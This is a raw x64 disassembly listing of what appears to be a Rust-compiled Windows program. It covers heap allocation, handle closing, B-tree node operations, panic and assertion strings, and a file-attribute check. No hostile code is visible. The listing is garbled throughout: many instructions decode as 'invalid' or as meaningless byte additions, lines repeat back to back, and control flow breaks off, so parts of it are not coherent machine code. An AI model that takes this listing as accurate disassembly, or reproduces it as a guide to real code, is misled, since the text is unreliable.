mov rdi, qword [rbp + 0x508]
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x500]
mov word [rax + rdx*2], 0x22
inc rdx
mov cl, 1
mov dword [rbp + 0x440], ecx
xor r13d, r13d
jmp 0x140088a95
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rcx, qword [rbp + 0x4f8]
mov qword [rcx], rax
mov qword [rcx + 0x10], 2
test rbx, rbx
je 0x14008a114
mov rcx, rdi
mov rdx, qword [rbp + 0x4d8]
call fcn.14008f010
jmp 0x14008a114
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rcx
mov qword [rax + 0x10], 2
mov rcx, qword [rbp + 0x438]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x458]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x598]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbp + 0x460], 0
je 0x14008a152
mov rcx, qword [rbp + 0x468]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbp + 0x470], 0
je 0x14008a169
mov rcx, qword [rbp + 0x478]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbp + 0x480], 0
je 0x14008a180
mov rcx, qword [rbp + 0x488]
call qword [sym.imp.kernel32.dll_CloseHandle]
test r13b, r13b
test sil, sil
mov r13d, r14d
jne 0x14008a19e
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne 0x14008a241
lea rcx, [0x1400f9208]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
cmp qword [rbp + 0x568], 0
mov rdi, qword [rbp + 0x570]
mov r14, qword [rbp + 0x5c8]
je 0x14008a1d9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x450]
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
je 0x14008a1f0
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x4e8], 0
je 0x14008a210
mov r8, qword [rbp + 0x4e0]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x5a8], 0
je 0x14008a230
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5b0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov sil, 1
test r13b, r13b
jne 0x140087c46
jmp 0x140088b85
call fcn.1400ae5e0
test al, al
jne 0x14008a19e
mov byte [0x1400f9210], 1
jmp 0x14008a19e
mov r13d, r14d
jmp 0x14008920e
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e7c88]
mov edx, 0x2b
call fcn.1400aa0a0
jmp 0x14008a54f
mov ecx, 1
mov rdx, rbx
call fcn.1400a9e00
jmp 0x14008a54f
mov byte [rbp + 0x5c7], 1
mov ecx, 1
mov rdx, rdi
call fcn.1400a9e00
jmp 0x14008a54f
call fcn.1400402a0
jmp 0x14008a54f
mov byte [rbp + 0x5c7], 1
call fcn.1400402a0
jmp 0x14008a54f
call fcn.1400402a0
jmp 0x14008a54f
mov ecx, 2
mov rdx, rbx
call fcn.1400a9e00
jmp 0x14008a54f
lea r8, str.library_std_src_syswindowsos.rs
mov ecx, 1
xor edx, edx
call fcn.1400a9f20
jmp 0x14008a54f
lea rax, str.library_std_src_syswindowsos.rs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.1400aa020
jmp 0x14008a54f
lea r8, str.library_std_src_syswindowsos.rs
mov rcx, r13
mov rdx, r15
call fcn.1400a9f20
jmp 0x14008a54f
lea rcx, str.assertion_failed:_self.height___0
lea r8, [0x1400e82e8]
mov edx, 0x21
call fcn.1400aa0a0
jmp 0x14008a54f
mov byte [rbp + 0x5e7], 1
mov ecx, 1
mov edx, 4
call fcn.1400a9e00
jmp 0x14008a54f
mov byte [rbp + 0x5e7], 1
mov ecx, 1
mov rdx, r15
call fcn.1400a9e00
jmp 0x14008a54f
mov byte [rbp + 0x5e7], 1
call fcn.1400402a0
jmp 0x14008a54f
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400aa0a0
jmp 0x14008a54f
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_sliceiter.rs
call fcn.1400a9f20
jmp 0x14008a54f
lea r8, str.library_std_src_syswindowsmod.rs
mov rcx, rax
mov rdx, r15
call fcn.1400aa020
jmp 0x14008a54f
call fcn.1400402a0
jmp 0x14008a54f
mov ecx, 2
mov edx, 0xc
call fcn.1400a9e00
jmp 0x14008a54f
mov ecx, 2
mov rdx, rbx
call fcn.1400a9e00
ud2
mov rax, qword [rbp + 0x190]
inc qword [rax + 0x10]
mov r15, qword [rbp + 0x198]
mov byte [r15 + 0x18], 2
add rsp, 0x2f8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movzx ecx, word [r12 + 0x3d0]
mov r12, rax
movaps xmm0, xmmword [rbp + 0x70]
movaps xmm1, xmmword [rbp + 0x80]
movaps xmm2, xmmword [rbp + 0x90]
movaps xmmword [rbp + 0x1c0], xmm2
movaps xmmword [rbp + 0x1b0], xmm1
movaps xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x1d0], r11b
mov eax, dword [rbp + 0x240]
mov edx, dword [rbp + 0x243]
lea r9, [rbp + 0x1d1]
mov dword [r9 + 3], edx
mov dword [r9], eax
cmp r8, rdi
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0x200], r15
jne 0x14008ce21
movzx r9d, cx
movzx r14d, word [r12 + 0x3d2]
cmp r14, 0xb
mov qword [rbp + 0xa0], r10
jb 0x14008cbfa
mov dil, 1
mov r13d, 4
cmp cx, 5
jb 0x14008c470
je 0x14008c45d
cmp r9d, 6
jne 0x14008c462
mov r13d, 5
xor edi, edi
xor r9d, r9d
jmp 0x14008c470
mov r13, r9
jmp 0x14008c470
add r9, 0xfffffffffffffff9
mov r13d, 6
xor edi, edi
nop
mov qword [rbp + 0x248], r9
mov qword [rbp + 0x228], r8
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x14008c4a7
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008ce0d
mov qword [0x1400f91f8], rax
mov r8d, 0x438
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14008ce0d
mov rbx, rax
mov qword [rbp + 0x208], rdi
mov rcx, rax
mov qword [rbx + 0x160], 0
movzx eax, word [r12 + 0x3d2]
mov r15, r13
not r15
add r15, rax
mov qword [rbp + 0x260], rbx
mov word [rbx + 0x3d2], r15w
imul rcx, r13, 0x38
mov rdx, qword [r12 + rcx + 0x198]
mov qword [rbp + 0xf0], rdx
movups xmm0, xmmword [r12 + rcx + 0x168]
movups xmm1, xmmword [r12 + rcx + 0x178]
movups xmm2, xmmword [r12 + rcx + 0x188]
movaps xmmword [rbp + 0xe0], xmm2
movaps xmmword [rbp + 0xd0], xmm1
movaps xmmword [rbp + 0xc0], xmm0
mov rcx, r13
shl rcx, 5
mov rdx, qword [r12 + rcx]
mov qword [rbp + 0x258], rdx
mov rdx, qword [r12 + rcx + 8]
mov qword [rbp + 0x250], rdx
movups xmm0, xmmword [r12 + rcx + 0x10]
movaps xmmword [rbp + 0xb0], xmm0
cmp r15, 0xb
ja 0x14008ce3e
lea rdi, [r13 + 1]
sub rax, rdi
cmp rax, r15
jne 0x14008ce57
lea rax, [r12 + 0x168]
lea rcx, [rbx + 0x168]
imul rdx, rdi, 0x38
add rdx, rax
imul r8, r15, 0x38
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rdi
shl rdx, 5
add rdx, r12
shl r15, 5
mov rsi, qword [rbp + 0x260]
mov rcx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov word [r12 + 0x3d2], r13w
movaps xmm0, xmmword [rbp + 0xc0]
movaps xmm1, xmmword [rbp + 0xd0]
movaps xmm2, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0x110], xmm0
movaps xmmword [rbp + 0x120], xmm1
movaps xmmword [rbp + 0x130], xmm2
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x140], rax
movaps xmm0, xmmword [rbp + 0xb0]
lea rax, [rbp + 0x158]
movups xmmword [rax], xmm0
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x250]
mov qword [rbp + 0x150], rax
movzx r15d, word [rsi + 0x3d2]
lea rcx, [r15 + 1]
cmp r15, 0xc
jae 0x14008ce91
sub r14, r13
cmp r14, rcx
mov rax, qword [rbp + 0x228]
mov rsi, qword [rbp + 0xa8]
jne 0x14008ce74
inc rax
mov qword [rbp + 0x228], rax
lea rcx, [rbx + 0x3d8]
lea rdx, [r12 + rdi*8]
add rdx, 0x3d8
shl r14, 3
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
mov r8, qword [rbp + 0x260]
mov rcx, rax
cmp rax, r15
adc rax, 0
mov rdx, qword [r8 + rcx*8 + 0x3d8]
mov qword [rdx + 0x160], r8
mov word [rdx + 0x3d0], cx
cmp rcx, r15
jae 0x14008c6ba
cmp rax, r15
jbe 0x14008c690
movaps xmm0, xmmword [rbp + 0x110]
movaps xmm1, xmmword [rbp + 0x120]
movaps xmm2, xmmword [rbp + 0x130]
movaps xmmword [rbp + 0xe0], xmm2
movaps xmmword [rbp + 0xd0], xmm1
movaps xmmword [rbp + 0xc0], xmm0
movzx r11d, byte [rbp + 0x140]
lea rdx, [rbp + 0x158]
mov eax, dword [rdx - 0x17]
mov ecx, dword [rdx - 0x14]
mov dword [rbp + 0x238], eax
mov dword [rbp + 0x23b], ecx
movups xmm0, xmmword [rdx]
movaps xmmword [rbp + 0xb0], xmm0
cmp byte [rbp + 0x208], 0
cmovne rbx, r12
movzx r13d, word [rbx + 0x3d2]
mov r10, qword [rbp + 0x248]
lea rdi, [r10 + 1]
imul rax, r10, 0x38
lea r14, [rbx + rax]
add r14, 0x168
cmp rdi, r13
jbe 0x14008c782
mov rax, qword [rbp + 0x1d0]
mov qword [r14 + 0x30], rax
movaps xmm0, xmmword [rbp + 0x1a0]
movabs al, byte [0x1b08d280f000001]
add byte [rax], al
movabs al, byte [0x1b08d280f000001]
add byte [rax], al
movaps xmm2, xmmword [rbp + 0x1c0]
movups xmmword [r14 + 0x20], xmm2
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
movaps xmm0, xmmword [rbp + 0x1e0]
movaps xmmword [rbp + 0x110], xmm0
jmp 0x14008c818
add byte [rax], al
add byte [rax], al
lea rax, [rbx + 0x168]
imul rcx, rdi, 0x38
add rcx, rax
mov r15, r13
sub r15, r10
imul r8, r15, 0x38
mov rdx, r14
mov byte [rbp + 0x208], r11b
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rbp + 0x1d0]
mov qword [r14 + 0x30], rax
movaps xmm0, xmmword [rbp + 0x1a0]
movaps xmm1, xmmword [rbp + 0x1b0]
movaps xmm2, xmmword [rbp + 0x1c0]
movups xmmword [r14 + 0x20], xmm2
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
movaps xmm0, xmmword [rbp + 0x1e0]
movaps xmmword [rbp + 0x110], xmm0
mov rdx, qword [rbp + 0x248]
shl rdx, 5
add rdx, rbx
mov rcx, rdi
shl rcx, 5
add rcx, rbx
shl r15, 5
mov r8, r15
call sub.VCRUNTIME140.dll_memmove
movzx r11d, byte [rbp + 0x208]
mov r10, qword [rbp + 0x248]
mov rcx, qword [rbp + 0x200]
mov rax, r10
shl rax, 5
mov qword [rbx + rax], rsi
mov qword [rbx + rax + 8], rcx
movaps xmm0, xmmword [rbp + 0x110]
movups xmmword [rbx + rax + 0x10], xmm0
lea r14, [r13 + 2]
lea esi, [rbp + 2]
lea esi, [rbp + 2]
lea rax, [r10 + 2]
cmp rax, r14
jae 0x14008c873
lea rcx, [rbx + 0x3d8]
lea rdx, [rcx + rdi*8]
lea rcx, [rcx + rax*8]
mov r8, r13
sub r8, r10
shl r8, 3
mov esi, r11d
call sub.VCRUNTIME140.dll_memmove
mov r11d, esi
mov ebx, esi
mov ebx, esi
mov r10, qword [rbp + 0x248]
lea eax, [r13 + 1]
mov rcx, qword [rbp + 0xa0]
mov qword [rbx + r10*8 + 0x3e0], rcx
mov word [rbx + 0x3d2], ax
cmp rdi, r14
jae 0x14008c94a
mov eax, r13d
sub eax, r10d
inc eax
invalid
and eax, 3
je 0x14008c8d2
rol byte [rbx + 0x2f7403e0], 0x4a
lea edx, [rbx + rdx*8]
lea rdx, [rbx + r10*8]
add rdx, 0x3e0
xor ecx, ecx
mov r8, qword [rdx + rcx*8]
mov qword [r8 + 0x160], rbx
lea r9d, [rdi + rcx]
mov word [r8 + 0x3d0], r9w
inc rcx
cmp rax, rcx
jne 0x14008c8b0
add rdi, rcx
sub r13, r10
cmp r13, 3
jb 0x14008c94a
nop dword [rax + rax]
mov rax, qword [rbx + rdi*8 + 0x3d8]
mov qword [rax + 0x160], rbx
mov word [rax + 0x3d0], di
mov rax, qword [rbx + rdi*8 + 0x3e0]
mov qword [rax + 0x160], rbx
lea ecx, [rdi + 1]
mov word [rax + 0x3d0], cx
mov rax, qword [rbx + rdi*8 + 0x3e8]
mov qword [rax + 0x160], rbx
lea ecx, [rdi + 2]
mov word [rax + 0x3d0], cx
mov rax, qword [rbx + rdi*8 + 0x3f0]
mov qword [rax + 0x160], rbx
lea ecx, [rdi + 3]
mov word [rax + 0x3d0], cx
add rdi, 4
cmp rdi, r14
jne 0x14008c8e0
movaps xmm0, xmmword [rbp + 0xc0]
sub byte [rbp + 0xc0], al
movaps xmm1, xmmword [rbp + 0xd0]
movaps xmm2, xmmword [rbp + 0xe0]
movaps xmmword [rbp - 0x30], xmm2
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov eax, dword [rbp + 0x238]
mov ecx, dword [rbp + 0x23b]
mov dword [rbp + 0x1f0], eax
add byte [rcx + 0x1f38d], cl
add byte [rdi], cl
sub byte [rbp + 0xb0], al
add byte [rcx + 0x1f38d], cl
add byte [rdi], cl
sub byte [rbp + 0xb0], al
movaps xmmword [rbp + 0x100], xmm0
cmp r11b, 2
je 0x14008c30a
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movaps xmm2, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x90], xmm2
movaps xmmword [rbp + 0x80], xmm1
movaps xmmword [rbp + 0x70], xmm0
mov eax, dword [rbp + 0x1f0]
mov ecx, dword [rbp + 0x1f3]
mov dword [rbp + 0x240], eax
mov dword [rbp + 0x243], ecx
lea eax, [rbx + 2]
add byte [rax], al
lea eax, [rbx + 2]
add byte [rax], al
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x1e0], xmm0
test dword [rax], eax
add dword [rax], eax
add byte [rdi], cl
sub dword [rbp + 0x1e0], eax
mov rax, qword [r12 + 0x160]
mov rdi, qword [rbp + 0x228]
mov r8, rdi
mov r13, qword [rbp + 0x250]
mov r15, r13
mov r14, qword [rbp + 0x258]
mov rsi, r14
mov rbx, qword [rbp + 0x260]
mov r10, rbx
test rax, rax
jne 0x14008c3b0
jmp 0x14008ca34
add al, byte [rax]
add byte [rbx + rcx*4 - 0x4b], cl
pop rax
add al, byte [rax]
add byte [rbx + rcx*4 - 0x53], cl
push rax
add al, byte [rax]
add byte [rdi], cl
sub byte [rbp + 0x70], al
movaps xmm0, xmmword [rbp + 0x70]
movaps xmm1, xmmword [rbp + 0x80]
movaps xmm2, xmmword [rbp + 0x90]
movups xmmword [rbp + 0x150], xmm2
movups xmmword [rbp + 0x140], xmm1
movups xmmword [rbp + 0x130], xmm0
mov eax, dword [rbp + 0x240]
mov ecx, dword [rbp + 0x243]
add byte [rcx + 0x16185], cl
add byte [rcx + 0x1648d], cl
add byte [rdi], cl
sub byte [rbp + 0x1e0], al
add byte [rcx + 0x16185], cl
add byte [rcx + 0x1648d], cl
add byte [rdi], cl
sub byte [rbp + 0x1e0], al
movups xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r8
mov qword [rbp + 0x120], rbx
mov r12, rdi
mov qword [rbp + 0x128], rdi
mov byte [rbp + 0x160], r11b
mov qword [rbp + 0x168], r14
mov qword [rbp + 0x170], r13
mov rdi, qword [rbp + 0x190]
mov edi, dword [rbp + 0x190]
mov edi, dword [rbp + 0x190]
mov rax, qword [rdi]
mov qword [rbp + 0x260], rax
test rax, rax
je 0x14008cf2b
mov rsi, qword [rdi + 8]
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
mov r15, qword [rbp + 0x198]
cwde
add dword [rax], eax
add byte [rax], al
cwde
add dword [rax], eax
add byte [rax], al
jne 0x14008cb06
add byte [rax], al
jne 0x14008cb06
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008cf1a
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x438
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14008cf1a
test ch, bh
add eax, dword [rax]
invalid
test ch, bh
add eax, dword [rax]
add byte [rax - 0x39], cl
and byte [rax + 1], 0
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
adc dl, 3
add byte [rax], al
add byte [rax], al
mov qword [rax + 0x160], 0
mov word [rax + 0x3d2], 0
mov rdx, qword [rbp + 0x260]
mov qword [rax + 0x3d8], rdx
lea rcx, [rsi + 1]
mov qword [rdx + 0x160], rax
mov word [rdx + 0x3d0], 0
mov qword [rdi], rax
mov qword [rdi + 8], rcx
cmp rsi, r12
jne 0x14008cf53
movzx ecx, word [rax + 0x3d2]
cmp rcx, 0xb
jae 0x14008cf7b
add dword [rdi], 4
add byte [rax], al
add dword [rdi], 4
add byte [rax], al
lea rdx, [rbp + 0x130]
lea r8d, [rcx + 1]
mov word [rax + 0x3d2], r8w
imul r8, rcx, 0x38
mov r9, qword [rdx + 0x30]
mov qword [rax + r8 + 0x198], r9
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmmword [rax + r8 + 0x188], xmm2
movups xmmword [rax + r8 + 0x178], xmm1
movups xmmword [rax + r8 + 0x168], xmm0
mov rdx, rcx
shl rdx, 5
mov qword [rax + rdx], r14
mov qword [rax + rdx + 8], r13
movaps xmm0, xmmword [rbp + 0x1e0]
movups xmmword [rax + rdx + 0x10], xmm0
mov qword [rax + rcx*8 + 0x3e0], rbx
mov qword [rbx + 0x160], rax
inc ecx
mov word [rbx + 0x3d0], cx
inc qword [rdi + 0x10]
jmp 0x14008c31c
lea edx, [r14 + 1]
lea rdi, [r9 + 1]
imul rax, r9, 0x38
lea r15, [r12 + rax]
add r15, 0x168
cmp cx, r14w
jae 0x14008cce5
lea rax, [r12 + 0x168]
imul rcx, rdi, 0x38
add rcx, rax
mov rbx, r14
sub rbx, r9
imul r8, rbx, 0x38
mov dword [rbp + 0x260], edx
xchg ebp, eax
invalid
add al, byte [rax]
add byte [rcx + rcx*4 - 6], cl
mov r13, r9
call sub.VCRUNTIME140.dll_memmove
movaps xmm0, xmmword [rbp + 0x1a0]
movaps xmm1, xmmword [rbp + 0x1b0]
movaps xmm2, xmmword [rbp + 0x1c0]
movups xmmword [r15], xmm0
movups xmmword [r15 + 0x10], xmm1
movups xmmword [rdi + 0x10], xmm1
xchg ebp, eax
invalid
movups xmmword [rdi + 0x10], xmm1
movups xmmword [r15 + 0x20], xmm2
mov rax, qword [rbp + 0x1d0]
mov qword [r15 + 0x30], rax
mov r15, r13
shl r15, 5
lea rdx, [r12 + r15]
mov rcx, rdi
shl rcx, 5
add rcx, r12
mov r8, rbx
shl r8, 5
call sub.VCRUNTIME140.dll_memmove
pop rcx
invalid
add dword [rax], eax
mov qword [r12 + r15], rsi
mov rax, qword [rbp + 0x200]
mov qword [r12 + r15 + 8], rax
movaps xmm0, xmmword [rbp + 0x1e0]
movups xmmword [r12 + r15 + 0x10], xmm0
lea rdx, [r12 + rdi*8]
add rdx, 0x3d8
lea rcx, [r12 + r13*8]
add rcx, 0x3e8
shl rbx, 3
mov r8, rbx
call sub.VCRUNTIME140.dll_memmove
mov edx, dword [rbp + 0x260]
mov r10, qword [rbp + 0xa0]
mov r9, r13
jmp 0x14008cd37
pop rcx
invalid
mov rax, qword [rbp + 0x1d0]
mov qword [r15 + 0x30], rax
movaps xmm0, xmmword [rbp + 0x1a0]
test eax, edx
add dword [rax], eax
add byte [rcx - 0x77], cl
xor byte [r15], r9b
sub byte [rbp + 0x1a0], al
movaps xmm1, xmmword [rbp + 0x1b0]
movaps xmm2, xmmword [rbp + 0x1c0]
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
mov rax, r9
shl rax, 5
mov qword [r12 + rax], rsi
mov rcx, qword [rbp + 0x200]
mov qword [r12 + rax + 8], rcx
movaps xmm0, xmmword [rbp + 0x1e0]
movups xmmword [r12 + rax + 0x10], xmm0
lea rax, [r14 + 2]
mov qword [r12 + r9*8 + 0x3e0], r10
mov word [r12 + 0x3d2], dx
cmp rdi, rax
jae 0x14008c30a
mov ecx, r14d
sub ecx, r9d
inc ecx
sub r14, r9
and ecx, 3
je 0x14008cd94
lea r8, [r12 + r9*8]
add r8, 0x3e0
xor edx, edx
mov r9, qword [r8 + rdx*8]
mov qword [r9 + 0x160], r12
add dword [rax], eax
add byte [rbp + rcx*4 + 0x14], al
invalid
mov word [r9 + 0x3d0], r10w
inc rdx
cmp rcx, rdx
jne 0x14008cd72
add dword [rax], eax
add byte [rbp + rcx*4 + 0x14], al
invalid
add rdi, rdx
cmp r14, 3
jb 0x14008c30a
mov rcx, qword [r12 + rdi*8 + 0x3d8]
mov qword [rcx + 0x160], r12
mov word [rcx + 0x3d0], di
mov rcx, qword [r12 + rdi*8 + 0x3e0]
mov qword [rcx + 0x160], r12
lea edx, [rdi + 1]
mov word [rcx + 0x3d0], dx
mov rcx, qword [r12 + rdi*8 + 0x3e8]
mov qword [rcx + 0x160], r12
lea edx, [rdi + 2]
mov word [rcx + 0x3d0], dx
mov rcx, qword [r12 + rdi*8 + 0x3f0]
mov qword [rcx + 0x160], r12
lea edx, [rdi + 3]
mov word [rcx + 0x3d0], dx
add rdi, 4
cmp rdi, rax
jne 0x14008cd9e
jmp 0x14008c30a
mov ecx, 8
mov edx, 0x438
call fcn.1400a9e00
jmp 0x14008cfa1
lea rcx, str.assertion_failed:_edge.height__self.node.height___1
lea r8, [0x1400e83a8]
mov edx, 0x35
call fcn.1400aa0a0
jmp 0x14008cfa1
lea r8, [0x1400e8340]
mov edx, 0xb
mov rcx, r15
call fcn.1400aa020
jmp 0x14008cfa1
lea rcx, str.assertion_failed:_src.len____dst.len__
lea r8, [0x1400e8328]
mov edx, 0x28
call fcn.1400aa0a0
jmp 0x14008cfa1
lea rcx, str.assertion_failed:_src.len____dst.len__
lea r8, [0x1400e8328]
mov edx, 0x28
call fcn.1400aa0a0
jmp 0x14008cfa1
lea r8, [0x1400e8358]
mov edx, 0xc
call fcn.1400aa020
jmp 0x14008cfa1
mov ecx, 8
mov edx, 0x438
call fcn.1400a9e00
jmp 0x14008cfa1
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x258], r14
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btreemapentry.rs
mov edx, 0x2b
call fcn.1400aa0a0
jmp 0x14008cfa1
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x258], r14
lea rcx, [0x1400e81f3]
lea r8, [0x1400e8228]
mov edx, 0x30
call fcn.1400aa0a0
jmp 0x14008cfa1
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x258], r14
lea rcx, str.assertion_failed:_idx___CAPACITY_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_node.rsassertion_failed:_edge.height__self.height___1
lea r8, [0x1400e8240]
mov edx, 0x20
call fcn.1400aa0a0
ud2
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0x200], 0
je 0x14008d2ac
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0xa8]
add byte [rcx], dh
ror byte [rbx + rcx*4 - 0x7b], cl
test al, 0
add byte [rax], al
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x1a0]
call fcn.14008da20
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax + rbx - 0x3a], dh
test dword [rdi + 2], ebp
add byte [rax], al
add dword [rax - 0x7d], ecx
invalid
add byte [rax], 0
add byte [rax - 0x75], cl
lea esp, [rax + 2]
add byte [rax], al
call fcn.14008da20
mov byte [rbp + 0x26f], 0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x260]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], 0
add byte [rax - 0x39], cl
adc r14b, r15b
invalid
invalid
add byte [rbx + rcx*4 + 0x65], cl
invalid
add byte [rax - 0x77], cl
call 0x1204e5e24
lea rax, [0x140080d00]
mov qword [rbp - 0x18], rax
lea rax, str.comparing_environment_keys_failed:
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov qword [rbp - 0x30], 0
lea rax, [rbp - 0x20]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rdx, str.library_std_src_syswindowsprocess.rs
lea rcx, [rbp - 0x50]
call fcn.1400a9ee0
ud2
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, rbp
call fcn.14007a090
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
adc dword [rcx], eax
add rsp, 0x38
ret
cmp rax, 6
jbe 0x14008dad9
mov rdx, qword [r8]
cmp word [rdx], 0x5c
jne 0x14008dad9
cmp word [rdx + 2], 0x5c
jne 0x14008dad9
invalid
movzx r9d, word [rdx + 4]
cmp r9w, 0x3f
cmp r9d, 0x3f
je 0x14008dafe
mov rax, qword [r8 + 0x10]
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [r8]
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rdx, [rsp + 0x20]
xor r8d, r8d
call fcn.1400828e0
nop
add rsp, 0x38
ret
cmp word [rdx + 6], 0x5c
jne 0x14008db20
invalid
sbb esp, dword [rsi - 0x7d]
cmp word [rdx + 0xa], 0x3a
jne 0x14008db20
jp 0x14008db13
cmp dh, byte [rbp + 0x14]
cmp word [rdx + 0xc], 0x5c
jne 0x14008db20
add rdx, 8
add rsp, 0x38
jmp fcn.140090d40
invalid
add byte [rax - 0x7d], cl
clc
cmp rax, 8
jb 0x14008dad9
or byte [rdx - 0x4d], dh
cmp r9w, 0x3f
jne 0x14008dad9
cmp word [rdx + 6], 0x5c
jne 0x14008dad9
cmp word [rdx + 8], 0x55
push rbp
jne 0x14008dad9
cmp word [rdx + 0xa], 0x4e
jne 0x14008dad9
jne 0x14008dad9
cmp word [rdx + 0xc], 0x43
jne 0x14008dad9
add rdx, 0xc
mov word [rdx], 0x5c
add rsp, 0x38
invalid
cmp cl, ch
invalid
invalid
add byte [rax], al
invalid
int3
int3
and al, 0x40
mov rax, qword [rsp + 0x48]
test rcx, rcx
leave
je 0x14008dbe6
mov rdx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x58], rcx
pop rax
mov qword [rsp + 0x60], rax
and al, 0x60
mov qword [rsp + 0x68], rdx
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x58]
push rsp
and al, 0x58
call fcn.14008da90
mov rdi, qword [rsp + 0x28]
mov edi, dword [rsp + 0x28]
jl 0x14008dbe6
sub byte [rax - 0x7b], cl
invalid
je case.0x14007ec68.433
jl 0x14008dbe6
sub byte [rax - 0x7b], cl
push qword [rsp + rbp - 0xd]
movq mm6, qword [rsp + 0x30]
invalid
movdqu xmm6, xmmword [rsp + 0x30]
xor byte [rax - 0x77], cl
stc
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetFileAttributesW]
adc eax, 0x22651
cmp eax, 0xffffffff
je 0x14008dc14
mov qword [rsi], rdi
movdqu xmmword [rsi + 8], xmm6
